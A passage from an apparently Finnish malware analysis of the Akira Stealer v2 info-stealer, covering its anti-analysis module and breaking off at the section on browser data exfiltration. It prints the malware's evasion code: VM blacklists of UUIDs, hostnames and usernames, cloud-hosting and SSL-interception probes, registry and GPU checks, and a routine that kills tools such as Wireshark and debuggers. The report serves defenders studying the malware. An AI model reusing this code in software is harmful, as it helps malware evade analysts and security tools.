tai \"wdagutilityaccount\". Nämä nimet ovat matalaentropisia ja usein kovakoodattuja avoimen lähdekoodin sandbox-ympäristöissä.",[588,5270,5272],{"className":4503,"code":5271,"language":4505,"meta":594,"style":594},"@staticmethod\ndef checkUsers() -> bool:\n    user = os.getlogin().lower()\n    return user in VmProtect.BLACKLISTED_USERS\n\nBLACKLISTED_USERS = (\n    'wdagutilityaccount','abby','peter wilson','hmarc',\n    'a.monaldo','tvm',\n    # ... 30+ more entries ...\n)\n",[551,5273,5274,5278,5283,5288,5293,5297,5302,5307,5312,5317],{"__ignoreMap":594},[1691,5275,5276],{"class":1693,"line":1694},[1691,5277,4989],{},[1691,5279,5280],{"class":1693,"line":2070},[1691,5281,5282],{},"def checkUsers() -> bool:\n",[1691,5284,5285],{"class":1693,"line":2076},[1691,5286,5287],{},"    user = os.getlogin().lower()\n",[1691,5289,5290],{"class":1693,"line":2082},[1691,5291,5292],{},"    return user in VmProtect.BLACKLISTED_USERS\n",[1691,5294,5295],{"class":1693,"line":2406},[1691,5296,3863],{"emptyLinePlaceholder":325},[1691,5298,5299],{"class":1693,"line":2412},[1691,5300,5301],{},"BLACKLISTED_USERS = (\n",[1691,5303,5304],{"class":1693,"line":3070},[1691,5305,5306],{},"    'wdagutilityaccount','abby','peter wilson','hmarc',\n",[1691,5308,5309],{"class":1693,"line":3866},[1691,5310,5311],{},"    'a.monaldo','tvm',\n",[1691,5313,5314],{"class":1693,"line":3872},[1691,5315,5316],{},"    # ... 30+ more entries ...\n",[1691,5318,5319],{"class":1693,"line":4118},[1691,5320,5256],{},[533,5322,5323],{},"Tämä tarkistus parantaa havaitsemista keskittymällä käyttäjäkontekstiin, joka voi pysyä muuttumattomana myös uudelleenkäynnistysten tai virtuaalikoneen tilannekuvien yli.",[870,5325,5327],{"id":5326},"_738-hosting-tarkistus-julkisen-pilvi-infrastruktuurin-havaitseminen","7.3.8 Hosting-tarkistus – julkisen pilvi-infrastruktuurin havaitseminen",[533,5329,876],{},[533,5331,5332,5333,5336],{},"Osa haittaohjelmista käyttää ulkoisia IP-tiedustelupalveluja varmistaakseen, sijaitseeko saastunut järjestelmä tunnetussa datakeskuksessa tai pilvipalveluntarjoajan ympäristössä. Tässä tapauksessa tehdään yksinkertainen HTTP-pyyntö osoitteeseen ",[551,5334,5335],{},"ip-api.com"," ja kysytään, onko IP merkitty tyypin \"hosting\" osoitteeksi.",[588,5338,5340],{"className":4503,"code":5339,"language":4505,"meta":594,"style":594},"@staticmethod\ndef checkHosting() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET',\n            'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n",[551,5341,5342,5346,5351,5356,5360,5365,5370,5375,5380,5384],{"__ignoreMap":594},[1691,5343,5344],{"class":1693,"line":1694},[1691,5345,4989],{},[1691,5347,5348],{"class":1693,"line":2070},[1691,5349,5350],{},"def checkHosting() -> bool:\n",[1691,5352,5353],{"class":1693,"line":2076},[1691,5354,5355],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\")\n",[1691,5357,5358],{"class":1693,"line":2082},[1691,5359,5152],{},[1691,5361,5362],{"class":1693,"line":2406},[1691,5363,5364],{},"        return http.request(\n",[1691,5366,5367],{"class":1693,"line":2412},[1691,5368,5369],{},"            'GET',\n",[1691,5371,5372],{"class":1693,"line":3070},[1691,5373,5374],{},"            'http://ip-api.com/line/?fields=hosting'\n",[1691,5376,5377],{"class":1693,"line":3866},[1691,5378,5379],{},"        ).data.decode().strip() == 'true'\n",[1691,5381,5382],{"class":1693,"line":3872},[1691,5383,5177],{},[1691,5385,5386],{"class":1693,"line":4118},[1691,5387,5388],{},"        return False\n",[533,5390,5391],{},"Tämä antaa haittaohjelman selvittää, suoritetaanko sitä Microsoft Azuren, AWS:n, DigitalOceanin tai vastaavan omistamassa infrastruktuurissa—mikä on punainen lippu sandboxauksesta.",[870,5393,5395],{"id":5394},"_739-https-simulaatiotarkistus-ssl-sieppauksen-luotaus","7.3.9 HTTPS-simulaatiotarkistus – SSL-sieppauksen luotaus",[533,5397,876],{},[533,5399,5400,5401,5404],{},"Tunnistaakseen ympäristöt, joissa on SSL-tarkastus käytössä (yleistä yritys- ja tutkimusverkoissa), haittaohjelma tekee vaarattoman HTTPS-pyynnön satunnaiseen aliverkkotunnukseen ",[551,5402,5403],{},".in","-päätteen alla. Jos yhteys epäonnistuu—DNS-suodatuksen, sieppaavien välityspalvelimien tai sertifikaatin kiinnityksen epäonnistumisen vuoksi—se voi viitata siihen, että haittaohjelmaa analysoidaan.",[588,5406,5408],{"className":4503,"code":5407,"language":4505,"meta":594,"style":594},"@staticmethod\ndef checkHTTPSimulation() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n    except:\n        return False\n    return True\n",[551,5409,5410,5414,5419,5424,5428,5433,5437,5441],{"__ignoreMap":594},[1691,5411,5412],{"class":1693,"line":1694},[1691,5413,4989],{},[1691,5415,5416],{"class":1693,"line":2070},[1691,5417,5418],{},"def checkHTTPSimulation() -> bool:\n",[1691,5420,5421],{"class":1693,"line":2076},[1691,5422,5423],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n",[1691,5425,5426],{"class":1693,"line":2082},[1691,5427,5152],{},[1691,5429,5430],{"class":1693,"line":2406},[1691,5431,5432],{},"        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n",[1691,5434,5435],{"class":1693,"line":2412},[1691,5436,5177],{},[1691,5438,5439],{"class":1693,"line":3070},[1691,5440,5388],{},[1691,5442,5443],{"class":1693,"line":3866},[1691,5444,5445],{},"    return True\n",[533,5447,5448],{},"Tämä hienovarainen lähestymistapa testaa verkkopolun eheyttä laukaisematta hälytyksiä ja ilman omaa infrastruktuuria.",[870,5450,5452],{"id":5451},"_7310-rekisterin-ja-gpu-ajurin-tarkistus-virtuaalisten-gpu-signatuurien-havaitseminen","7.3.10 Rekisterin ja GPU-ajurin tarkistus – virtuaalisten GPU-signatuurien havaitseminen",[533,5454,876],{},[533,5456,5457,5458,5461],{},"Tietyt virtuaaliympäristöt paljastuvat rekisteriavaimista tai GPU-ajurin kuvauksista. Akira käyttää kahta strategiaa: se tekee kyselyjä grafiikka-alijärjestelmään liittyviin rekisterimerkintöihin ja tutkii erikseen ",[551,5459,5460],{},"wmic","-komennon tulosteen epäilyttävien GPU-merkkijonojen varalta.",[588,5463,5465],{"className":4503,"code":5464,"language":4505,"meta":594,"style":594},"@staticmethod\ndef checkRegistry() -> bool:\n    r1 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n        capture_output=True, shell=True)\n    r2 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n        capture_output=True, shell=True)\n\n    # GPU name check\n    gpu_out = subprocess.run(\n        \"wmic path win32_VideoController get name\",\n        capture_output=True, shell=True).stdout.decode().splitlines()\n    gpucheck = any(x in gpu_out[2].lower()\n                   for x in (\"virtualbox\", \"vmware\"))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[551,5466,5467,5471,5476,5481,5486,5491,5496,5501,5505,5509,5514,5519,5524,5529,5534,5539],{"__ignoreMap":594},[1691,5468,5469],{"class":1693,"line":1694},[1691,5470,4989],{},[1691,5472,5473],{"class":1693,"line":2070},[1691,5474,5475],{},"def checkRegistry() -> bool:\n",[1691,5477,5478],{"class":1693,"line":2076},[1691,5479,5480],{},"    r1 = subprocess.run(\n",[1691,5482,5483],{"class":1693,"line":2082},[1691,5484,5485],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n",[1691,5487,5488],{"class":1693,"line":2406},[1691,5489,5490],{},"        capture_output=True, shell=True)\n",[1691,5492,5493],{"class":1693,"line":2412},[1691,5494,5495],{},"    r2 = subprocess.run(\n",[1691,5497,5498],{"class":1693,"line":3070},[1691,5499,5500],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n",[1691,5502,5503],{"class":1693,"line":3866},[1691,5504,5490],{},[1691,5506,5507],{"class":1693,"line":3872},[1691,5508,3863],{"emptyLinePlaceholder":325},[1691,5510,5511],{"class":1693,"line":4118},[1691,5512,5513],{},"    # GPU name check\n",[1691,5515,5516],{"class":1693,"line":5037},[1691,5517,5518],{},"    gpu_out = subprocess.run(\n",[1691,5520,5521],{"class":1693,"line":5043},[1691,5522,5523],{},"        \"wmic path win32_VideoController get name\",\n",[1691,5525,5526],{"class":1693,"line":5049},[1691,5527,5528],{},"        capture_output=True, shell=True).stdout.decode().splitlines()\n",[1691,5530,5531],{"class":1693,"line":5055},[1691,5532,5533],{},"    gpucheck = any(x in gpu_out[2].lower()\n",[1691,5535,5536],{"class":1693,"line":5061},[1691,5537,5538],{},"                   for x in (\"virtualbox\", \"vmware\"))\n",[1691,5540,5541],{"class":1693,"line":5067},[1691,5542,5543],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[533,5545,5546],{},"Nämä laitteistotason tarkistukset ovat erityisen tehokkaita analyytikkoympäristöjä vastaan, jotka eivät välttämättä peitä virtualisoituja näyttösovittimia täysin.",[870,5548,5550],{"id":5549},"_7311-prosessien-tappaminen-analyysityökalujen-vaientaminen-reaaliajassa","7.3.11 Prosessien tappaminen – analyysityökalujen vaientaminen reaaliajassa",[533,5552,876],{},[533,5554,5555],{},"Sen sijaan että Akira vain väistäisi havaitsemista passiivisesti, se menee askeleen pidemmälle ja päättää aktiivisesti tunnettuja analyysi- ja debuggaustyökaluja. Se käynnistää taustasäikeen, joka käy läpi prosessilistaa ja tappaa kaikki löytämänsä osumat.",[588,5557,5559],{"className":4503,"code":5558,"language":4505,"meta":594,"style":594},"@staticmethod\ndef killTasks() -> None:\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n\nBLACKLISTED_TASKS = (\n  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n  # ... dozens more ...\n  'glasswire','requestly'\n)\n",[551,5560,5561,5565,5570,5575,5579,5584,5589,5594,5599],{"__ignoreMap":594},[1691,5562,5563],{"class":1693,"line":1694},[1691,5564,4989],{},[1691,5566,5567],{"class":1693,"line":2070},[1691,5568,5569],{},"def killTasks() -> None:\n",[1691,5571,5572],{"class":1693,"line":2076},[1691,5573,5574],{},"    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[1691,5576,5577],{"class":1693,"line":2082},[1691,5578,3863],{"emptyLinePlaceholder":325},[1691,5580,5581],{"class":1693,"line":2406},[1691,5582,5583],{},"BLACKLISTED_TASKS = (\n",[1691,5585,5586],{"class":1693,"line":2412},[1691,5587,5588],{},"  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n",[1691,5590,5591],{"class":1693,"line":3070},[1691,5592,5593],{},"  # ... dozens more ...\n",[1691,5595,5596],{"class":1693,"line":3866},[1691,5597,5598],{},"  'glasswire','requestly'\n",[1691,5600,5601],{"class":1693,"line":3872},[1691,5602,5256],{},[533,5604,5605],{},"Nämä työkalut—joita incident response -tekijät ja haittaohjelma-analyytikot yleisesti käyttävät—neutraloidaan ennen kuin ne pystyvät keräämään merkityksellisiä käyttäytymisartefakteja.",[533,5607,5608],{},[540,5609,5610],{},"Yhteenveto",[533,5612,5613],{},"Akira käyttää hienostunutta analyysin vastaisten tekniikoiden valikoimaa, joka kohdistuu useisiin järjestelmäkerroksiin — ympäristömuuttujista ja rekisteriavaimista verkkoluotauksiin ja prosessilistoihin. Nämä mekanismit on suunniteltu havaitsemaan ja väistämään sekä automatisoidut sandboxit että manuaaliset tarkasteluympäristöt.",[533,5615,5616],{},"Passiivisen sormenjälkien keräämisen ja aktiivisen vaientamisen (esim. prosessien tappaminen) yhdistelmä osoittaa, miten myös keskitason haittaohjelmaperheet integroivat nykyään monikerroksista väistelylogiikkaa.",[870,5618,5620],{"id":5619},"_7312-täydelliset-estolistat-ja-havaitsemisfunktiot","7.3.12 Täydelliset estolistat ja havaitsemisfunktiot",[533,5622,876],{},[533,5624,5625],{},[540,5626,5627],{},"Estolistalla olevat laitteiston UUID:t",[588,5629,5632],{"className":5630,"code":5631,"language":593},[591],"BLACKLISTED_UUIDS = (\n    '7AB5C494-39F5-4941-9163-47F54D6D5016',\n    '032E02B4-0499-05C3-0806-3C0700080009',\n    '03DE0294-0480-05DE-1A06-350700080009',\n    '11111111-2222-3333-4444-555555555555',\n    '6F3CA5EC-BEC9-4A4D-8274-11168F640058',\n    'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',\n    '4C4C4544-0050-3710-8058-CAC04F59344A',\n    '00000000-0000-0000-0000-AC1F6BD04972',\n    '00000000-0000-0000-0000-000000000000',\n    '5BD24D56-789F-8468-7CDC-CAA7222CC121',\n    '49434D53-0200-9065-2500-65902500E439',\n    '49434D53-0200-9036-2500-36902500F022',\n    '777D84B3-88D1-451C-93E4-D235177420A7',\n    '49434D53-0200-9036-2500-369025000C65',\n    'B1112042-52E8-E25B-3655-6A4F54155DBF',\n    '00000000-0000-0000-0000-AC1F6BD048FE',\n    'EB16924B-FB6D-4FA1-8666-17B91F62FB37',\n    'A15A930C-8251-9645-AF63-E45AD728C20C',\n    '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',\n    'C7D23342-A5D4-68A1-59AC-CF40F735B363',\n    '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',\n    '44B94D56-65AB-DC02-86A0-98143A7423BF',\n    '6608003F-ECE4-494E-B07E-1C4615D1D93C',\n    'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',\n    '49434D53-0200-9036-2500-369025003AF0',\n    '8B4E8278-525C-7343-B825-280AEBCD3BCB',\n    '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',\n    '79AF5279-16CF-4094-9758-F88A616D81B4',\n    'FE822042-A70C-D08B-F1D1-C207055A488F',\n    '76122042-C286-FA81-F0A8-514CC507B250',\n    '481E2042-A1AF-D390-CE06-A8F783B1E76A',\n    'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',\n    '9961A120-E691-4FFE-B67B-F0E4115D5919'\n)\n",[551,5633,5631],{"__ignoreMap":594},[533,5635,5636],{},[540,5637,5638],{},"Estolistalla olevat tietokoneiden nimet",[588,5640,5643],{"className":5641,"code":5642,"language":593},[591],"BLACKLISTED_COMPUTERNAMES = (\n    '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',\n    'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',\n    'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',\n    'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',\n    'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',\n    'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',\n    'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',\n    'desktop-vkeons4', 'NTT-EFF-2W11WSS'\n)\n",[551,5644,5642],{"__ignoreMap":594},[533,5646,5647],{},[540,5648,5649],{},"Estolistalla olevat käyttäjätilit",[588,5651,5654],{"className":5652,"code":5653,"language":593},[591],"BLACKLISTED_USERS = (\n    'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',\n    'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',\n    'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',\n    'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',\n    'harry johnson', 'j.seance', 'a.monaldo', 'tvm'\n)\n",[551,5655,5653],{"__ignoreMap":594},[533,5657,5658],{},[540,5659,5660],{},"Estolistalla olevat analyysityökalujen prosessit",[588,5662,5665],{"className":5663,"code":5664,"language":593},[591],"BLACKLISTED_TASKS = (\n    'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',\n    'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',\n    'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',\n    'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',\n    'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',\n    'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',\n    'discordtokenprotector', 'glasswire', 'requestly'\n)\n",[551,5666,5664],{"__ignoreMap":594},[533,5668,5669],{},[540,5670,5671],{},"Keskeiset havaitsemismetodit",[588,5673,5675],{"className":4503,"code":5674,"language":4505,"meta":594,"style":594},"@staticmethod\ndef checkUUID() -> bool:\n    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\",\n            shell=True, capture_output=True\n        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n\n@staticmethod\ndef checkComputerName() -> bool:\n    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n\n@staticmethod\ndef checkUsers() -> bool:\n    \"\"\"Current login username in VM users list.\"\"\"\n    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n\n@staticmethod\ndef checkHosting() -> bool:\n    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET', 'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n\n@staticmethod\ndef checkHTTPSimulation() -> bool:\n    \"\"\"\n    Attempt TLS to random subdomain.\n    Failure → possible HTTPS interception/sandbox.\n    \"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n        return True\n    except:\n        return False\n\n@staticmethod\ndef checkRegistry() -> bool:\n    \"\"\"\n    Look for VirtualBox/VMware in:\n    - Registry driver entries\n    - Video card name via WMIC\n    - Presence of VM-specific folders\n    \"\"\"\n    r1 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n        shell=True, capture_output=True\n    )\n    r2 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n        shell=True, capture_output=True\n    )\n    gpu = any(\n        x.lower() in subprocess.run(\n            \"wmic path win32_VideoController get name\",\n            shell=True, capture_output=True\n        ).stdout.decode().splitlines()[2].lower()\n        for x in (\"virtualbox\", \"vmware\")\n    )\n    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n\n@staticmethod\ndef killTasks() -> None:\n    \"\"\"Continuously terminate known analysis processes.\"\"\"\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[551,5676,5677,5681,5685,5690,5694,5698,5703,5708,5713,5717,5721,5725,5729,5733,5737,5742,5747,5751,5755,5759,5764,5769,5773,5777,5781,5786,5791,5796,5801,5807,5812,5816,5821,5826,5831,5836,5842,5848,5854,5859,5864,5869,5874,5880,5885,5890,5895,5900,5905,5910,5916,5922,5928,5934,5939,5944,5950,5956,5962,5968,5973,5978,5984,5989,5994,6000,6006,6012,6017,6023,6029,6034,6040,6046,6051,6056,6061,6067],{"__ignoreMap":594},[1691,5678,5679],{"class":1693,"line":1694},[1691,5680,4989],{},[1691,5682,5683],{"class":1693,"line":2070},[1691,5684,5147],{},[1691,5686,5687],{"class":1693,"line":2076},[1691,5688,5689],{},"    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n",[1691,5691,5692],{"class":1693,"line":2082},[1691,5693,5152],{},[1691,5695,5696],{"class":1693,"line":2406},[1691,5697,5157],{},[1691,5699,5700],{"class":1693,"line":2412},[1691,5701,5702],{},"            \"wmic csproduct get uuid\",\n",[1691,5704,5705],{"class":1693,"line":3070},[1691,5706,5707],{},"            shell=True, capture_output=True\n",[1691,5709,5710],{"class":1693,"line":3866},[1691,5711,5712],{},"        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n",[1691,5714,5715],{"class":1693,"line":3872},[1691,5716,5177],{},[1691,5718,5719],{"class":1693,"line":4118},[1691,5720,5182],{},[1691,5722,5723],{"class":1693,"line":5037},[1691,5724,5187],{},[1691,5726,5727],{"class":1693,"line":5043},[1691,5728,3863],{"emptyLinePlaceholder":325},[1691,5730,5731],{"class":1693,"line":5049},[1691,5732,4989],{},[1691,5734,5735],{"class":1693,"line":5055},[1691,5736,5217],{},[1691,5738,5739],{"class":1693,"line":5061},[1691,5740,5741],{},"    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n",[1691,5743,5744],{"class":1693,"line":5067},[1691,5745,5746],{},"    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1691,5748,5749],{"class":1693,"line":5073},[1691,5750,3863],{"emptyLinePlaceholder":325},[1691,5752,5753],{"class":1693,"line":5079},[1691,5754,4989],{},[1691,5756,5757],{"class":1693,"line":5085},[1691,5758,5282],{},[1691,5760,5761],{"class":1693,"line":5091},[1691,5762,5763],{},"    \"\"\"Current login username in VM users list.\"\"\"\n",[1691,5765,5766],{"class":1693,"line":5097},[1691,5767,5768],{},"    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n",[1691,5770,5771],{"class":1693,"line":5103},[1691,5772,3863],{"emptyLinePlaceholder":325},[1691,5774,5775],{"class":1693,"line":5109},[1691,5776,4989],{},[1691,5778,5779],{"class":1693,"line":5115},[1691,5780,5350],{},[1691,5782,5783],{"class":1693,"line":5121},[1691,5784,5785],{},"    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n",[1691,5787,5789],{"class":1693,"line":5788},26,[1691,5790,5355],{},[1691,5792,5794],{"class":1693,"line":5793},27,[1691,5795,5152],{},[1691,5797,5799],{"class":1693,"line":5798},28,[1691,5800,5364],{},[1691,5802,5804],{"class":1693,"line":5803},29,[1691,5805,5806],{},"            'GET', 'http://ip-api.com/line/?fields=hosting'\n",[1691,5808,5810],{"class":1693,"line":5809},30,[1691,5811,5379],{},[1691,5813,5814],{"class":1693,"line":713},[1691,5815,5177],{},[1691,5817,5819],{"class":1693,"line":5818},32,[1691,5820,5388],{},[1691,5822,5824],{"class":1693,"line":5823},33,[1691,5825,3863],{"emptyLinePlaceholder":325},[1691,5827,5829],{"class":1693,"line":5828},34,[1691,5830,4989],{},[1691,5832,5834],{"class":1693,"line":5833},35,[1691,5835,5418],{},[1691,5837,5839],{"class":1693,"line":5838},36,[1691,5840,5841],{},"    \"\"\"\n",[1691,5843,5845],{"class":1693,"line":5844},37,[1691,5846,5847],{},"    Attempt TLS to random subdomain.\n",[1691,5849,5851],{"class":1693,"line":5850},38,[1691,5852,5853],{},"    Failure → possible HTTPS interception/sandbox.\n",[1691,5855,5857],{"class":1693,"line":5856},39,[1691,5858,5841],{},[1691,5860,5862],{"class":1693,"line":5861},40,[1691,5863,5423],{},[1691,5865,5867],{"class":1693,"line":5866},41,[1691,5868,5152],{},[1691,5870,5872],{"class":1693,"line":5871},42,[1691,5873,5432],{},[1691,5875,5877],{"class":1693,"line":5876},43,[1691,5878,5879],{},"        return True\n",[1691,5881,5883],{"class":1693,"line":5882},44,[1691,5884,5177],{},[1691,5886,5888],{"class":1693,"line":5887},45,[1691,5889,5388],{},[1691,5891,5893],{"class":1693,"line":5892},46,[1691,5894,3863],{"emptyLinePlaceholder":325},[1691,5896,5898],{"class":1693,"line":5897},47,[1691,5899,4989],{},[1691,5901,5903],{"class":1693,"line":5902},48,[1691,5904,5475],{},[1691,5906,5908],{"class":1693,"line":5907},49,[1691,5909,5841],{},[1691,5911,5913],{"class":1693,"line":5912},50,[1691,5914,5915],{},"    Look for VirtualBox/VMware in:\n",[1691,5917,5919],{"class":1693,"line":5918},51,[1691,5920,5921],{},"    - Registry driver entries\n",[1691,5923,5925],{"class":1693,"line":5924},52,[1691,5926,5927],{},"    - Video card name via WMIC\n",[1691,5929,5931],{"class":1693,"line":5930},53,[1691,5932,5933],{},"    - Presence of VM-specific folders\n",[1691,5935,5937],{"class":1693,"line":5936},54,[1691,5938,5841],{},[1691,5940,5942],{"class":1693,"line":5941},55,[1691,5943,5480],{},[1691,5945,5947],{"class":1693,"line":5946},56,[1691,5948,5949],{},"        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n",[1691,5951,5953],{"class":1693,"line":5952},57,[1691,5954,5955],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n",[1691,5957,5959],{"class":1693,"line":5958},58,[1691,5960,5961],{},"        shell=True, capture_output=True\n",[1691,5963,5965],{"class":1693,"line":5964},59,[1691,5966,5967],{},"    )\n",[1691,5969,5971],{"class":1693,"line":5970},60,[1691,5972,5495],{},[1691,5974,5976],{"class":1693,"line":5975},61,[1691,5977,5949],{},[1691,5979,5981],{"class":1693,"line":5980},62,[1691,5982,5983],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n",[1691,5985,5987],{"class":1693,"line":5986},63,[1691,5988,5961],{},[1691,5990,5992],{"class":1693,"line":5991},64,[1691,5993,5967],{},[1691,5995,5997],{"class":1693,"line":5996},65,[1691,5998,5999],{},"    gpu = any(\n",[1691,6001,6003],{"class":1693,"line":6002},66,[1691,6004,6005],{},"        x.lower() in subprocess.run(\n",[1691,6007,6009],{"class":1693,"line":6008},67,[1691,6010,6011],{},"            \"wmic path win32_VideoController get name\",\n",[1691,6013,6015],{"class":1693,"line":6014},68,[1691,6016,5707],{},[1691,6018,6020],{"class":1693,"line":6019},69,[1691,6021,6022],{},"        ).stdout.decode().splitlines()[2].lower()\n",[1691,6024,6026],{"class":1693,"line":6025},70,[1691,6027,6028],{},"        for x in (\"virtualbox\", \"vmware\")\n",[1691,6030,6032],{"class":1693,"line":6031},71,[1691,6033,5967],{},[1691,6035,6037],{"class":1693,"line":6036},72,[1691,6038,6039],{},"    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n",[1691,6041,6043],{"class":1693,"line":6042},73,[1691,6044,6045],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n",[1691,6047,6049],{"class":1693,"line":6048},74,[1691,6050,3863],{"emptyLinePlaceholder":325},[1691,6052,6054],{"class":1693,"line":6053},75,[1691,6055,4989],{},[1691,6057,6059],{"class":1693,"line":6058},76,[1691,6060,5569],{},[1691,6062,6064],{"class":1693,"line":6063},77,[1691,6065,6066],{},"    \"\"\"Continuously terminate known analysis processes.\"\"\"\n",[1691,6068,6070],{"class":1693,"line":6069},78,[1691,6071,5574],{},[870,6073,6075],{"id":6074},"_7313-suoritus-ja-keskeytyslogiikka","7.3.13 Suoritus- ja keskeytyslogiikka",[533,6077,876],{},[711,6079,6080,6093,6106],{},[607,6081,6082,2036,6085,6088,6089,6092],{},[540,6083,6084],{},"Alustus:",[551,6086,6087],{},"Akira.__init__()","-konstruktorissa haittaohjelma kutsuu välittömästi ",[551,6090,6091],{},"VmProtect.isVM(1)","-funktiota suorittaakseen nopeat, kevyet virtualisointitarkistukset (esim. hostname, käyttäjä, HTTPS-simulaatio).",[607,6094,6095,6098,6099,6102,6103,6105],{},[540,6096,6097],{},"Syvä tarkastus:"," Jos ensimmäinen testi läpäistään, se kutsuu ",[551,6100,6101],{},"VmProtect.isVM(2)","-funktiota, mikä laukaisee kattavammat tarkistukset, mukaan lukien laitteiston UUID:n validointi, hosting-havaitseminen ",[551,6104,5335],{},"-palvelun kautta ja rekisteriartefaktien skannaus.",[607,6107,6108,6111,6112,6114,6115,6117],{},[540,6109,6110],{},"Keskeytyspolku:"," Jos jokin tarkistus palauttaa ",[551,6113,4679],{}," ja osoittaa siten virtuaali- tai analyysiympäristöä, koodi suorittaa ",[551,6116,4683],{},"-funktion ja päättää suorituksen ennen datankeruu- tai exfiltraatiorutiineja.",[870,6119,6121],{"id":6120},"_7314-johtopäätös","7.3.14 Johtopäätös",[533,6123,876],{},[533,6125,6126,6128,6129,6131,6134],{},[551,6127,4627],{},"-moduuli ",[4640,6130,650],{},[6132,6133],"ssa",{}," osoittaa kerroksellista puolustusta analyysiä vastaan hyödyntäen sekä paikallisen järjestelmän sormenjälkiä että verkkopohjaisia heuristiikkoja. Kun puolustajat ymmärtävät ja instrumentoivat näitä täsmällisiä tarkistuksia, he voivat kääntää asetelman ja havaita tällaisia välttelevia haittaohjelmia operatiivisissa ympäristöissä.",[721,6136,6138],{"id":6137},"_74-selaindatan-exfiltraatio","7.4 Selaindatan exfiltraatio",[533,6140,727],{},[533,6142,6143,6144,6147,6148,6151],{},"Yksi Akira Stealer v2:n 